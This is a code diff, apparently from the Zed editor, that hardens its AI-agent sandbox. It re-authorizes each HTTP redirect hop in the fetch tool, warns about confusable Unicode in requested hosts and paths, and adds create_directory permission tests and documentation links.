+        let result = task.await;
+        assert!(result.is_ok(), "expected success, got {result:?}");
+        assert!(
+            target.is_dir(),
+            "the new directory should have been created"
+        );
+    }
+
+    /// Denying the grant removes the directory we eagerly created, leaving no
+    /// trace on the filesystem.
+    #[cfg(any(target_os = "linux", target_os = "macos"))]
+    #[gpui::test]
+    async fn test_create_directory_out_of_project_denied_cleans_up(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/root"), json!({ "project": { "src": {} } }))
+            .await;
+        let project = Project::test(fs.clone(), [path!("/root/project").as_ref()], cx).await;
+        cx.executor().run_until_parked();
+
+        let scratch = tempfile::tempdir().unwrap();
+        let target = scratch.path().join("denied_dir");
+
+        let tool = Arc::new(CreateDirectoryTool::new(project));
+        let (event_stream, mut event_rx) = ToolCallEventStream::test();
+        let path_input = target.to_string_lossy().into_owned();
+        let task = cx.update(|cx| {
+            tool.run(
+                ToolInput::resolved(CreateDirectoryToolInput {
+                    path: path_input,
+                    reason: Some("scratch space".into()),
+                }),
+                event_stream,
+                cx,
+            )
+        });
+
+        let auth = event_rx.expect_authorization().await;
+        auth.response
+            .send(acp_thread::SelectedPermissionOutcome::new(
+                acp::PermissionOptionId::new(acp_thread::SandboxPermission::Deny.as_id()),
+                acp::PermissionOptionKind::RejectOnce,
+            ))
+            .unwrap();
+
+        let result = task.await;
+        assert!(result.is_err(), "denied create should fail");
+        assert!(
+            !target.exists(),
+            "denied create should leave no directory behind"
+        );
+    }
 }
diff --git a/crates/agent/src/tools/fetch_tool.rs b/crates/agent/src/tools/fetch_tool.rs
index 96c0fd2aba175b..cfe7792c9f144e 100644
--- a/crates/agent/src/tools/fetch_tool.rs
+++ b/crates/agent/src/tools/fetch_tool.rs
@@ -23,12 +23,38 @@ enum ContentType {
     Json,
 }
 
+/// The maximum number of HTTP redirects the fetch tool will follow. Each hop is
+/// re-authorized against the shared network grants before being followed.
+const MAX_REDIRECTS: usize = 20;
+
+/// The outcome of a single (non-redirect-following) HTTP request.
+enum FetchStep {
+    /// The server responded with a redirect to this absolute URL. Its host must
+    /// be authorized before the redirect is followed.
+    Redirect(String),
+    /// A terminal response was received and converted to Markdown.
+    Complete(String),
+}
+
+/// Prepends `https://` when the URL has no explicit HTTP(S) scheme, matching the
+/// behavior the fetch tool has always had for user/model-supplied URLs.
+fn normalize_url(url: &str) -> Cow<'_, str> {
+    if !url.starts_with("https://") && !url.starts_with("http://") {
+        Cow::Owned(format!("https://{url}"))
+    } else {
+        Cow::Borrowed(url)
+    }
+}
+
 /// Fetches a URL and returns the content as Markdown.
 ///
 /// This tool is not run inside the terminal OS sandbox, but it still refuses to
 /// reach any host that hasn't been granted network access. It shares the same
 /// per-host grants as the `terminal` tool: approving a host for one authorizes
 /// it for the other, whether the grant is for this thread or saved permanently.
+/// HTTP redirects are followed one hop at a time, and each hop's host must be
+/// granted the same way, so a granted host can't redirect the request to a host
+/// that hasn't been approved.
 /// When unsandboxed access has been granted, these restrictions are lifted
 /// entirely, matching the terminal, which is also how loopback and IP-literal
 /// hosts (which can't be granted individually) become reachable.
@@ -47,14 +73,35 @@ impl FetchTool {
         Self { http_client }
     }
 
-    async fn build_message(http_client: Arc<HttpClientWithUrl>, url: &str) -> Result<String> {
-        let url = if !url.starts_with("https://") && !url.starts_with("http://") {
-            Cow::Owned(format!("https://{url}"))
-        } else {
-            Cow::Borrowed(url)
-        };
+    /// Performs a single HTTP GET *without* following redirects, so the tool can
+    /// re-authorize each hop against the shared network grants before following
+    /// it. Returns the redirect target when the server responds with a 3xx, or
+    /// the final content converted to Markdown otherwise.
+    async fn fetch_step(http_client: Arc<HttpClientWithUrl>, url: &str) -> Result<FetchStep> {
+        let normalized = normalize_url(url);
+
+        let mut response = http_client
+            .get(&normalized, AsyncBody::default(), false)
+            .await?;
 
-        let mut response = http_client.get(&url, AsyncBody::default(), true).await?;
+        let status = response.status();
+        if status.is_redirection() {
+            let location = response
+                .headers()
+                .get("location")
+                .context("redirect response is missing a Location header")?
+                .to_str()
+                .context("redirect response has an invalid Location header")?;
+            let target = url::Url::parse(&normalized)
+                .with_context(|| format!("could not parse URL {normalized:?}"))?
+                .join(location)
+                .with_context(|| format!("invalid redirect target {location:?}"))?;
+            anyhow::ensure!(
+                matches!(target.scheme(), "http" | "https"),
+                "refusing to follow redirect to non-HTTP(S) URL {target}"
+            );
+            return Ok(FetchStep::Redirect(target.to_string()));
+        }
 
         let mut body = Vec::new();
         response
@@ -63,12 +110,9 @@ impl FetchTool {
             .await
             .context("error reading response body")?;
 
-        if response.status().is_client_error() {
+        if status.is_client_error() {
             let text = String::from_utf8_lossy(body.as_slice());
-            bail!(
-                "status error {}, response: {text:?}",
-                response.status().as_u16()
-            );
+            bail!("status error {}, response: {text:?}", status.as_u16());
         }
 
         let Some(content_type) = response.headers().get("content-type") else {
@@ -86,7 +130,7 @@ impl FetchTool {
             ContentType::Html
         };
 
-        match content_type {
+        let text = match content_type {
             ContentType::Html => {
                 let mut handlers: Vec<TagHandler> = vec![
                     Rc::new(RefCell::new(markdown::WebpageChromeRemover)),
@@ -96,7 +140,7 @@ impl FetchTool {
                     Rc::new(RefCell::new(markdown::TableHandler::new())),
                     Rc::new(RefCell::new(markdown::StyledTextHandler)),
                 ];
-                if url.contains("wikipedia.org") {
+                if normalized.contains("wikipedia.org") {
                     use html_to_markdown::structure::wikipedia;
 
                     handlers.push(Rc::new(RefCell::new(wikipedia::WikipediaChromeRemover)));
@@ -108,30 +152,25 @@ impl FetchTool {
                     handlers.push(Rc::new(RefCell::new(markdown::CodeHandler)));
                 }
 
-                convert_html_to_markdown(&body[..], &mut handlers)
+                convert_html_to_markdown(&body[..], &mut handlers)?
             }
-            ContentType::Plaintext => Ok(std::str::from_utf8(&body)?.to_owned()),
+            ContentType::Plaintext => std::str::from_utf8(&body)?.to_owned(),
             ContentType::Json => {
                 let json: serde_json::Value = serde_json::from_slice(&body)?;
 
-                Ok(format!(
-                    "```json\n{}\n```",
-                    serde_json::to_string_pretty(&json)?
-                ))
+                format!("```json\n{}\n```", serde_json::to_string_pretty(&json)?)
             }
-        }
+        };
+
+        Ok(FetchStep::Complete(text))
     }
 }
 
 /// Extracts the host from a fetch URL as a [`http_proxy::HostPattern`] so it can
 /// be matched against the shared network grants. Mirrors the scheme handling in
-/// [`FetchTool::build_message`] (defaulting to `https://` when none is given).
+/// [`normalize_url`] (defaulting to `https://` when none is given).
 fn host_pattern_for_url(url: &str) -> Result<http_proxy::HostPattern> {
-    let normalized = if !url.starts_with("https://") && !url.starts_with("http://") {
-        Cow::Owned(format!("https://{url}"))
-    } else {
-        Cow::Borrowed(url)
-    };
+    let normalized = normalize_url(url);
     let parsed =
         url::Url::parse(&normalized).with_context(|| format!("could not parse URL {url:?}"))?;
     let host = parsed
@@ -211,36 +250,61 @@ impl AgentTool for FetchTool {
             // already runs without isolation, so we drop fetch's restrictions
             // too — including reaching hosts that can't be granted individually
             // (loopback and IP literals).
+            //
+            // Crucially, this authorization is applied to every redirect hop as
+            // well as the initial URL, so a granted host can't 30x-redirect the
+            // fetch to a host the user never approved. We disable the HTTP
+            // client's own redirect following and re-run the grant for each hop
+            // before requesting it.
             let unsandboxed = cx.update(|cx| event_stream.unsandboxed_access_granted(cx));
-            if !unsandboxed {
-                let host = host_pattern_for_url(&input.url).map_err(|e| e.to_string())?;
-                let authorize_host = cx.update(|cx| {
-                    let request = SandboxRequest {
-                        network: NetworkRequest::Hosts(vec![host]),
-                        ..Default::default()
+
+            let mut current_url = input.url.clone();
+            let mut redirects = 0;
+            let text = loop {
+                if !unsandboxed {
+                    let host = host_pattern_for_url(&current_url).map_err(|e| e.to_string())?;
+                    let authorize_host = cx.update(|cx| {
+                        let request = SandboxRequest {
+                            network: NetworkRequest::Hosts(vec![host]),
+                            ..Default::default()
+                        };
+                        event_stream.authorize_sandbox(request, String::new(), cx)
+                    });
+                    futures::select! {
+                        result = authorize_host.fuse() => result.map_err(|e| e.to_string())?,
+                        _ = event_stream.cancelled_by_user().fuse() => {
+                            return Err("Fetch cancelled by user".to_string());
+                        }
                     };
-                    event_stream.authorize_sandbox(request, String::new(), cx)
+                }
+
+                let fetch_task = cx.background_spawn({
+                    let http_client = http_client.clone();
+                    let url = current_url.clone();
+                    async move { Self::fetch_step(http_client, &url).await }
                 });
-                futures::select! {
-                    result = authorize_host.fuse() => result.map_err(|e| e.to_string())?,
+
+                let step = futures::select! {
+                    result = fetch_task.fuse() => result.map_err(|e| e.to_string())?,
                     _ = event_stream.cancelled_by_user().fuse() => {
                         return Err("Fetch cancelled by user".to_string());
                     }
                 };
-            }
-
-            let fetch_task = cx.background_spawn({
-                let http_client = http_client.clone();
-                let url = input.url.clone();
-                async move { Self::build_message(http_client, &url).await }
-            });
 
-            let text = futures::select! {
-                result = fetch_task.fuse() => result.map_err(|e| e.to_string())?,
-                _ = event_stream.cancelled_by_user().fuse() => {
-                    return Err("Fetch cancelled by user".to_string());
+                match step {
+                    FetchStep::Complete(text) => break text,
+                    FetchStep::Redirect(target) => {
+                        redirects += 1;
+                        if redirects > MAX_REDIRECTS {
+                            return Err(format!(
+                                "exceeded the maximum of {MAX_REDIRECTS} redirects"
+                            ));
+                        }
+                        current_url = target;
+                    }
                 }
             };
+
             if text.trim().is_empty() {
                 return Err("no textual content found".to_string());
             }
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index ef394c5e8ba14d..3e7954e5ba67d4 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -558,8 +558,10 @@ async fn run_terminal_tool(
         if !path.is_dir() {
             return Err(format!(
                 "Cannot request sandbox write access to `{}`: on Linux, write access can only \
-                 be granted to directories that already exist. To create or modify files, \
-                 request write access to the existing directory that contains them, not the \
+                 be granted to directories that already exist. To create a new directory to write \
+                 into, use the `create_directory` tool (which creates it and grants write access to \
+                 exactly that directory) rather than requesting its parent. To modify existing \
+                 files, request write access to the existing directory that contains them, not the \
                  file path itself.",
                 path.display()
             ));
@@ -683,6 +685,7 @@ async fn run_terminal_tool(
                             event_stream.authorize_sandbox_fallback(
                                 Some(input.command.clone()),
                                 error.user_facing_message(),
+                                Some(error.docs_section().to_string()),
                                 retries,
                                 cx,
                             )
@@ -788,6 +791,7 @@ async fn run_terminal_tool(
                     event_stream.authorize_sandbox_fallback(
                         Some(input.command.clone()),
                         sandbox_error.user_facing_message(),
+                        Some(sandbox_error.docs_section().to_string()),
                         retries,
                         cx,
                     )
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 5d884e8a6ce47e..e1cce89d3b0223 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -414,7 +414,7 @@ impl Default for AgentProfileId {
 /// combines them with the in-memory per-thread grants. `write_paths` are
 /// stored as minimal, lexically-normalized subtrees (see
 /// [`compile_sandbox_permissions`]).
-#[derive(Clone, Debug, Default, PartialEq, Eq)]
+#[derive(Clone, Debug, PartialEq, Eq)]
 pub struct SandboxPermissions {
     /// Allow sandboxed commands to reach any host over the network.
     pub allow_all_hosts: bool,
@@ -432,6 +432,24 @@ pub struct SandboxPermissions {
     /// tool/prompt in place — see `agent::sandboxing`.
     pub allow_unsandboxed: bool,
     pub write_paths: Vec<PathBuf>,
+    /// Whether sandbox escalation prompts warn about domains or write paths
+    /// that contain potentially confusable Unicode characters (homoglyphs,
+    /// invisible characters, or bidirectional overrides). Enabled by default.
+    pub warn_confusable_unicode: bool,
+}
+
+impl Default for SandboxPermissions {
+    fn default() -> Self {
+        Self {
+            allow_all_hosts: false,
+            network_hosts: Vec::new(),
+            allow_fs_write_all: false,
+            allow_unsandboxed: false,
+            write_paths: Vec::new(),
+            // The confusable-Unicode warning is a safety net, so it defaults on.
+            warn_confusable_unicode: true,
+        }
+    }
 }
 
 #[derive(Clone, Debug, Default)]
@@ -821,6 +839,7 @@ fn compile_sandbox_permissions(
         allow_fs_write_all: content.allow_fs_write_all.unwrap_or(false),
         allow_unsandboxed: content.allow_unsandboxed.unwrap_or(false),
         write_paths,
+        warn_confusable_unicode: content.warn_confusable_unicode.unwrap_or(true),
     }
 }
 
@@ -1098,6 +1117,22 @@ mod tests {
     fn test_sandbox_permissions_empty() {
         let permissions = compile_sandbox_permissions(None);
         assert_eq!(permissions, SandboxPermissions::default());
+        // The confusable-Unicode warning is a safety net, so it's on by default.
+        assert!(permissions.warn_confusable_unicode);
+    }
+
+    #[test]
+    fn test_sandbox_permissions_warn_confusable_unicode_can_be_disabled() {
+        let content: settings::SandboxPermissionsContent =
+            serde_json::from_value(json!({ "warn_confusable_unicode": false })).unwrap();
+        let permissions = compile_sandbox_permissions(Some(content));
+        assert!(!permissions.warn_confusable_unicode);
+
+        // Omitting the key keeps the warning enabled.
+        let content: settings::SandboxPermissionsContent =
+            serde_json::from_value(json!({})).unwrap();
+        let permissions = compile_sandbox_permissions(Some(content));
+        assert!(permissions.warn_confusable_unicode);
     }
 
     #[test]
diff --git a/crates/agent_ui/Cargo.toml b/crates/agent_ui/Cargo.toml
index 822b91c3cd19ce..3ccf5297380648 100644
--- a/crates/agent_ui/Cargo.toml
+++ b/crates/agent_ui/Cargo.toml
@@ -63,6 +63,7 @@ gpui.workspace = true
 gpui_tokio.workspace = true
 html_to_markdown.workspace = true
 http_client.workspace = true
+idna.workspace = true
 indoc.workspace = true
 itertools.workspace = true
 jsonschema.workspace = true
@@ -108,6 +109,7 @@ theme_settings.workspace = true
 time.workspace = true
 ui.workspace = true
 ui_input.workspace = true
+unicode-script.workspace = true
 unicode-segmentation.workspace = true
 url.workspace = true
 util.workspace = true
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 1640a90297f091..91ae944e700e1b 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -35,6 +35,7 @@ pub mod thread_worktree_archive;
 
 pub mod threads_archive_view;
 mod ui;
+mod unicode_confusables;
 
 use std::rc::Rc;
 use std::sync::Arc;
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index c1fe29024872e3..5a2ae6fd725502 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -25,6 +25,7 @@ use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 use crate::completion_provider::{AvailableSkill, PromptLocalCommand};
 use crate::message_editor::SharedSessionCapabilities;
 use crate::ui::{SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip};
+use crate::unicode_confusables;
 
 use db::kvp::KeyValueStore;
 use gpui::List;
@@ -38,8 +39,8 @@ use language_model::{
 use notifications::status_toast::StatusToast;
 use settings::{update_settings_file, update_settings_file_with_completion};
 use ui::{
-    ButtonLike, CalloutBorderPosition, SpinnerLabel, SpinnerVariant, SplitButton, SplitButtonStyle,
-    Tab,
+    ButtonLike, CalloutBorderPosition, Checkbox, SpinnerLabel, SpinnerVariant, SplitButton,
+    SplitButtonStyle, Tab, ToggleState,
 };
 use workspace::{OpenOptions, SERIALIZATION_THROTTLE_TIME};
 
@@ -588,6 +589,10 @@ pub struct ThreadView {
     pub expanded_tool_call_raw_inputs: HashSet<acp::ToolCallId>,
     collapsed_sandbox_authorization_details: HashSet<acp::ToolCallId>,
     collapsed_sandbox_network_details: HashSet<acp::ToolCallId>,
+    /// Sandbox escalation prompts whose "surprising Unicode" warning the user
+    /// has explicitly acknowledged. Until a prompt's tool call is in this set,
+    /// its allow buttons stay disabled. See [`Self::sandbox_confusable_findings`].
+    acknowledged_confusable_warnings: HashSet<acp::ToolCallId>,
     pub subagent_scroll_handles: RefCell<HashMap<acp::SessionId, ScrollHandle>>,
     pub edits_expanded: bool,
     pub plan_expanded: bool,
@@ -995,6 +1000,7 @@ impl ThreadView {
             expanded_tool_call_raw_inputs: HashSet::default(),
             collapsed_sandbox_authorization_details: HashSet::default(),
             collapsed_sandbox_network_details: HashSet::default(),
+            acknowledged_confusable_warnings: HashSet::default(),
             subagent_scroll_handles: RefCell::new(HashMap::default()),
             edits_expanded: false,
             plan_expanded: false,
@@ -2485,13 +2491,40 @@ impl ThreadView {
     }
 
     pub fn allow_always(&mut self, _: &AllowAlways, window: &mut Window, cx: &mut Context<Self>) {
+        if self.pending_allow_blocked_by_confusables(cx) {
+            return;
+        }
         self.authorize_pending_tool_call(acp::PermissionOptionKind::AllowAlways, window, cx);
     }
 
     pub fn allow_once(&mut self, _: &AllowOnce, window: &mut Window, cx: &mut Context<Self>) {
+        if self.pending_allow_blocked_by_confusables(cx) {
+            return;
+        }
         self.authorize_pending_with_granularity(true, window, cx);
     }
 
+    /// Whether the currently pending permission prompt is blocked by an
+    /// unacknowledged surprising-Unicode warning, so the keyboard allow
+    /// shortcuts must be ignored (mirroring the disabled allow buttons).
+    fn pending_allow_blocked_by_confusables(&self, cx: &Context<Self>) -> bool {
+        let session_id = self.thread.read(cx).session_id().clone();
+        let Some((_, tool_call_id, _)) = self
+            .conversation
+            .read(cx)
+            .pending_tool_call(&session_id, cx)
+        else {
+            return false;
+        };
+        self.thread.read(cx).entries().iter().any(|entry| {
+            matches!(
+                entry,
+                AgentThreadEntry::ToolCall(call)
+                    if call.id == tool_call_id && self.sandbox_confusables_block_allow(call, cx)
+            )
+        })
+    }
+
     pub fn reject_once(&mut self, _: &RejectOnce, window: &mut Window, cx: &mut Context<Self>) {
         self.authorize_pending_with_granularity(false, window, cx);
     }
@@ -7894,6 +7927,7 @@ impl ThreadView {
             })
             .when_some(confirmation_options, |this, options| {
                 let is_first = self.is_first_tool_call(active_session_id, &tool_call.id, cx);
+                let allow_disabled = self.sandbox_confusables_block_allow(tool_call, cx);
                 this.child(self.render_permission_buttons(
                     self.thread.read(cx).session_id().clone(),
                     is_first,
@@ -7901,6 +7935,7 @@ impl ThreadView {
                     entry_ix,
                     tool_call.id.clone(),
                     focus_handle,
+                    allow_disabled,
                     cx,
                 ))
             })
@@ -7914,34 +7949,44 @@ impl ThreadView {
         reason: &SandboxNotAppliedReason,
         cx: &Context<Self>,
     ) -> AnyElement {
-        let (title, detail): (SharedString, SharedString) = match reason {
-            SandboxNotAppliedReason::ErrorLinuxWsl(error) => (
-                "Couldn't create a sandbox".into(),
-                error.user_facing_message().into(),
-            ),
-            SandboxNotAppliedReason::DisabledForThisThread => {
-                // The grant only exists because an earlier command failed to
-                // create a sandbox; surface that same explanation here.
-                let detail = self
-                    .find_thread_sandbox_error(cx)
-                    .map(|error| {
-                        SharedString::from(format!(
-                            "Allowed for this thread after the sandbox failed: {}",
-                            error.user_facing_message()
-                        ))
-                    })
-                    .unwrap_or_else(|| {
-                        "Unsandboxed execution is allowed for the rest of this thread.".into()
-                    });
-                ("Ran without sandbox".into(), detail)
-            }
-        };
+        // (title, detail line, docs section slug)
+        let (title, detail, docs_section): (SharedString, SharedString, Option<&'static str>) =
+            match reason {
+                SandboxNotAppliedReason::ErrorLinuxWsl(error) => (
+                    "Couldn't create a sandbox".into(),
+                    error.user_facing_message().into(),
+                    Some(error.docs_section()),
+                ),
+                SandboxNotAppliedReason::DisabledForThisThread => {
+                    // The grant only exists because an earlier command failed to
+                    // create a sandbox; surface that same explanation here.
+                    let thread_error = self.find_thread_sandbox_error(cx);
+                    let detail = thread_error
+                        .as_ref()
+                        .map(|error| {
+                            SharedString::from(format!(
+                                "Allowed for this thread after the sandbox failed: {}",
+                                error.user_facing_message()
+                            ))
+                        })
+                        .unwrap_or_else(|| {
+                            "Unsandboxed execution is allowed for the rest of this thread.".into()
+                        });
+                    let docs_section = thread_error.as_ref().map(|error| error.docs_section());
+                    ("Ran without sandbox".into(), detail, docs_section)
+                }
+            };
 
         Callout::new()
             .severity(Severity::Warning)
             .icon(IconName::Warning)
             .title(title)
             .description(detail)
+            .actions_slot(self.render_sandbox_docs_link(
+                "sandbox-not-applied-docs-link",
+                docs_section,
+                cx,
+            ))
             .into_any_element()
     }
 
@@ -8140,6 +8185,7 @@ impl ThreadView {
                                     entry_ix,
                                     &tool_call.id,
                                     details,
+                                    window,
                                     cx,
                                 ))
                             },
@@ -8248,6 +8294,7 @@ impl ThreadView {
                             entry_ix,
                             tool_call.id.clone(),
                             focus_handle,
+                            self.sandbox_confusables_block_allow(tool_call, cx),
                             cx,
                         ))
                         .into_any()
@@ -8554,11 +8601,42 @@ impl ThreadView {
             .children(tool_output_display)
     }
 
+    /// A small "Learn more" link to the sandboxing docs, deep-linked to
+    /// `section` when provided. Shared by the sandbox warning and the two
+    /// sandbox approval prompts so the user can always reach an explanation of
+    /// what they're being asked about.
+    fn render_sandbox_docs_link(
+        &self,
+        id: &'static str,
+        section: Option<&str>,
+        cx: &Context<Self>,
+    ) -> AnyElement {
+        let url = zed_urls::sandboxing_docs(section, cx);
+        let tooltip = format!("Opens {url}");
+        // Wrap in a row so the button shrinks to its content width instead of
+        // stretching to fill the enclosing column.
+        h_flex()
+            .child(
+                Button::new(id, "Learn more")
+                    .label_size(LabelSize::Small)
+                    .color(Color::Muted)
+                    .end_icon(
+                        Icon::new(IconName::ArrowUpRight)
+                            .color(Color::Muted)
+                            .size(IconSize::XSmall),
+                    )
+                    .tooltip(Tooltip::text(tooltip))
+                    .on_click(move |_, _, cx| cx.open_url(&url)),
+            )
+            .into_any_element()
+    }
+
     fn render_sandbox_authorization_details(
         &self,
         entry_ix: usize,
         tool_call_id: &acp::ToolCallId,
         details: &SandboxAuthorizationDetails,
+        window: &Window,
         cx: &Context<Self>,
     ) -> AnyElement {
         let has_network = details.network_all_hosts || !details.network_hosts.is_empty();
@@ -8567,6 +8645,12 @@ impl ThreadView {
             return Empty.into_any_element();
         }
 
+        let confusable_findings = if Self::confusable_warning_enabled(cx) {
+            Self::sandbox_confusable_findings(details)
+        } else {
+            Vec::new()
+        };
+
         let network_section = has_network.then(|| {
             let summary = if details.network_all_hosts {
                 "any host".to_string()
@@ -8794,10 +8878,186 @@ impl ThreadView {
         v_flex()
             .border_t_1()
             .border_color(self.tool_card_border_color(cx))
+            .when(!confusable_findings.is_empty(), |this| {
+                this.child(self.render_sandbox_confusable_warning(
+                    tool_call_id,
+                    &confusable_findings,
+                    window,
+                    cx,
+                ))
+            })
             .children(network_section)
             .children(write_section)
             .children(unsandboxed_section)
             .children(reason_section)
+            .child(
+                h_flex()
+                    .px_1()
+                    .py_0p5()
+                    .child(self.render_sandbox_docs_link(
+                        "sandbox-authorization-docs-link",
+                        None,
+                        cx,
+                    )),
+            )
+            .into_any_element()
+    }
+
+    /// Scan the hosts and paths in a sandbox escalation request for surprising
+    /// Unicode characters (homoglyphs, invisible characters, bidi overrides).
+    /// Returns, for each offending value, the display string shown to the user
+    /// and the distinct suspicious characters it contains. Hosts are decoded from
+    /// Punycode first, so the display string is the Unicode form the user should
+    /// scrutinize. Empty when nothing is surprising.
+    fn sandbox_confusable_findings(
+        details: &SandboxAuthorizationDetails,
+    ) -> Vec<(String, Vec<unicode_confusables::SuspiciousChar>)> {
+        let mut findings = Vec::new();
+        for host in &details.network_hosts {
+            let (decoded, suspicious) = unicode_confusables::scan_host(host);
+            if !suspicious.is_empty() {
+                findings.push((decoded, suspicious));
+            }
+        }
+        for path in &details.write_paths {
+            let display = path.display().to_string();
+            let suspicious = unicode_confusables::scan(&display);
+            if !suspicious.is_empty() {
+                findings.push((display, suspicious));
+            }
+        }
+        findings
+    }
+
+    /// Whether the surprising-Unicode warning is enabled in settings (on by
+    /// default). When off, prompts neither show the banner nor gate their allow
+    /// buttons on it.
+    fn confusable_warning_enabled(cx: &App) -> bool {
+        AgentSettings::get_global(cx)
+            .sandbox_permissions
+            .warn_confusable_unicode
+    }
+
+    /// Whether this tool call's sandbox escalation shows surprising Unicode that
+    /// the user hasn't acknowledged yet. While true, the prompt's allow buttons
+    /// stay disabled so the user can't grant access to a lookalike target
+    /// without first ticking the acknowledgement checkbox.
+    fn sandbox_confusables_block_allow(&self, tool_call: &ToolCall, cx: &App) -> bool {
+        if !Self::confusable_warning_enabled(cx) {
+            return false;
+        }
+        let Some(details) = tool_call.sandbox_authorization_details.as_ref() else {
+            return false;
+        };
+        if self
+            .acknowledged_confusable_warnings
+            .contains(&tool_call.id)
+        {
+            return false;
+        }
+        !Self::sandbox_confusable_findings(details).is_empty()
+    }
+
+    /// Red banner warning that a requested domain or path contains surprising
+    /// Unicode characters, with a checkbox the user must tick to unlock the
+    /// allow buttons. See [`Self::sandbox_confusables_block_allow`].
+    fn render_sandbox_confusable_warning(
+        &self,
+        tool_call_id: &acp::ToolCallId,
+        findings: &[(String, Vec<unicode_confusables::SuspiciousChar>)],
+        window: &Window,
+        cx: &Context<Self>,
+    ) -> AnyElement {
+        let acknowledged = self.acknowledged_confusable_warnings.contains(tool_call_id);
+        let line_height = window.line_height();
+
+        v_flex()
+            .w_full()
+            .p_2()
+            .gap_2()
+            .border_t_1()
+            .border_color(cx.theme().status().error_border)
+            .bg(cx.theme().status().error_background.opacity(0.15))
+            .child(
+                h_flex()
+                    .w_full()
+                    .gap_1p5()
+                    .items_start()
+                    .child(
+                        h_flex()
+                            .h(line_height)
+                            .flex_none()
+                            .justify_center()
+                            .child(
+                                Icon::new(IconName::Warning)
+                                    .size(IconSize::Small)
+                                    .color(Color::Error),
+                            ),
+                    )
+                    .child(
+                        v_flex().min_w_0().flex_1().gap_1().children(findings.iter().map(
+                            |(value, suspicious)| {
+                                v_flex()
+                                    .min_w_0()
+                                    .gap_0p5()
+                                    .child(
+                                        Label::new(format!(
+                                            "“{value}” contains potentially surprising Unicode characters"
+                                        ))
+                                        .size(LabelSize::Small)
+                                        .color(Color::Error),
+                                    )
+                                    .child(v_flex().min_w_0().pl_2().children(
+                                        suspicious.iter().map(|character| {
+                                            Label::new(format!("• {}", character.description()))
+                                                .size(LabelSize::XSmall)
+                                                .color(Color::Muted)
+                                                .buffer_font(cx)
+                                        }),
+                                    ))
+                            },
+                        )),
+                    )
+                    .child(
+                        IconButton::new("configure-confusable-warning", IconName::Settings)
+                            .icon_size(IconSize::Small)
+                            .icon_color(Color::Muted)
+                            .tooltip(Tooltip::text("Configure unicode confusables warning"))
+                            .on_click(|_, window, cx| {
+                                window.dispatch_action(
+                                    Box::new(zed_actions::OpenSettingsAt {
+                                        path: zed_actions::AGENT_SANDBOX_SETTINGS_PATH.to_string(),
+                                        target: None,
+                                    }),
+                                    cx,
+                                );
+                            }),
+                    ),
+            )
+            .child(
+                Checkbox::new(
+                    SharedString::from(format!("confusable-ack-{}", tool_call_id.0)),
+                    if acknowledged {
+                        ToggleState::Selected
+                    } else {
+                        ToggleState::Unselected
+                    },
+                )
+                .label("I understand and wish to proceed")
+                .label_size(LabelSize::Small)
+                .on_click(cx.listener({
+                    let tool_call_id = tool_call_id.clone();
+                    move |this, state: &ToggleState, _window, cx| {
+                        if *state == ToggleState::Selected {
+                            this.acknowledged_confusable_warnings
+                                .insert(tool_call_id.clone());
+                        } else {
+                            this.acknowledged_confusable_warnings.remove(&tool_call_id);
+                        }
+                        cx.notify();
+                    }
+                })),
+            )
             .into_any_element()
     }
 
@@ -8833,7 +9093,12 @@ impl ThreadView {
                             .size(LabelSize::Small)
                             .color(Color::Muted),
                     )
-                    .child(Label::new(details.reason.clone()).size(LabelSize::Small)),
+                    .child(Label::new(details.reason.clone()).size(LabelSize::Small))
+                    .child(self.render_sandbox_docs_link(
+                        "sandbox-fallback-docs-link",
+                        details.docs_section.as_deref(),
+                        cx,
+                    )),
             )
             .into_any_element()
     }
@@ -8901,6 +9166,9 @@ impl ThreadView {
         entry_ix: usize,
         tool_call_id: acp::ToolCallId,
         focus_handle: &FocusHandle,
+        // When true, the "allow" choices are disabled (e.g. an unacknowledged
+        // surprising-Unicode warning is showing). "Deny"/"Retry" stay enabled.
+        allow_disabled: bool,
         cx: &Context<Self>,
     ) -> Div {
         match options {
@@ -8911,6 +9179,7 @@ impl ThreadView {
                 entry_ix,
                 tool_call_id,
                 focus_handle,
+                allow_disabled,
                 cx,
             ),
             PermissionOptions::Dropdown(choices) => self.render_permission_buttons_with_dropdown(
@@ -8921,6 +9190,7 @@ impl ThreadView {
                 session_id,
                 tool_call_id,
                 focus_handle,
+                allow_disabled,
                 cx,
             ),
             PermissionOptions::DropdownWithPatterns {
@@ -8935,6 +9205,7 @@ impl ThreadView {
                 session_id,
                 tool_call_id,
                 focus_handle,
+                allow_disabled,
                 cx,
             ),
         }
@@ -8949,6 +9220,7 @@ impl ThreadView {
         session_id: acp::SessionId,
         tool_call_id: acp::ToolCallId,
         focus_handle: &FocusHandle,
+        allow_disabled: bool,
         cx: &Context<Self>,
     ) -> Div {
         let selection = self.permission_selections.get(&tool_call_id);
@@ -9003,13 +9275,14 @@ impl ThreadView {
                     .gap_0p5()
                     .child(
                         Button::new(("allow-btn", entry_ix), "Allow")
+                            .disabled(allow_disabled)
                             .start_icon(
                                 Icon::new(IconName::Check)
                                     .size(IconSize::XSmall)
                                     .color(Color::Success),
                             )
                             .label_size(LabelSize::Small)
-                            .when(is_first, |this| {
+                            .when(is_first && !allow_disabled, |this| {
                                 this.key_binding(
                                     KeyBinding::for_action_in(
                                         &AllowOnce as &dyn Action,
@@ -9335,6 +9608,7 @@ impl ThreadView {
         entry_ix: usize,
         tool_call_id: acp::ToolCallId,
         focus_handle: &FocusHandle,
+        allow_disabled: bool,
         cx: &Context<Self>,
     ) -> Div {
         let mut seen_kinds: ArrayVec<acp::PermissionOptionKind, 3, u8> = ArrayVec::new();
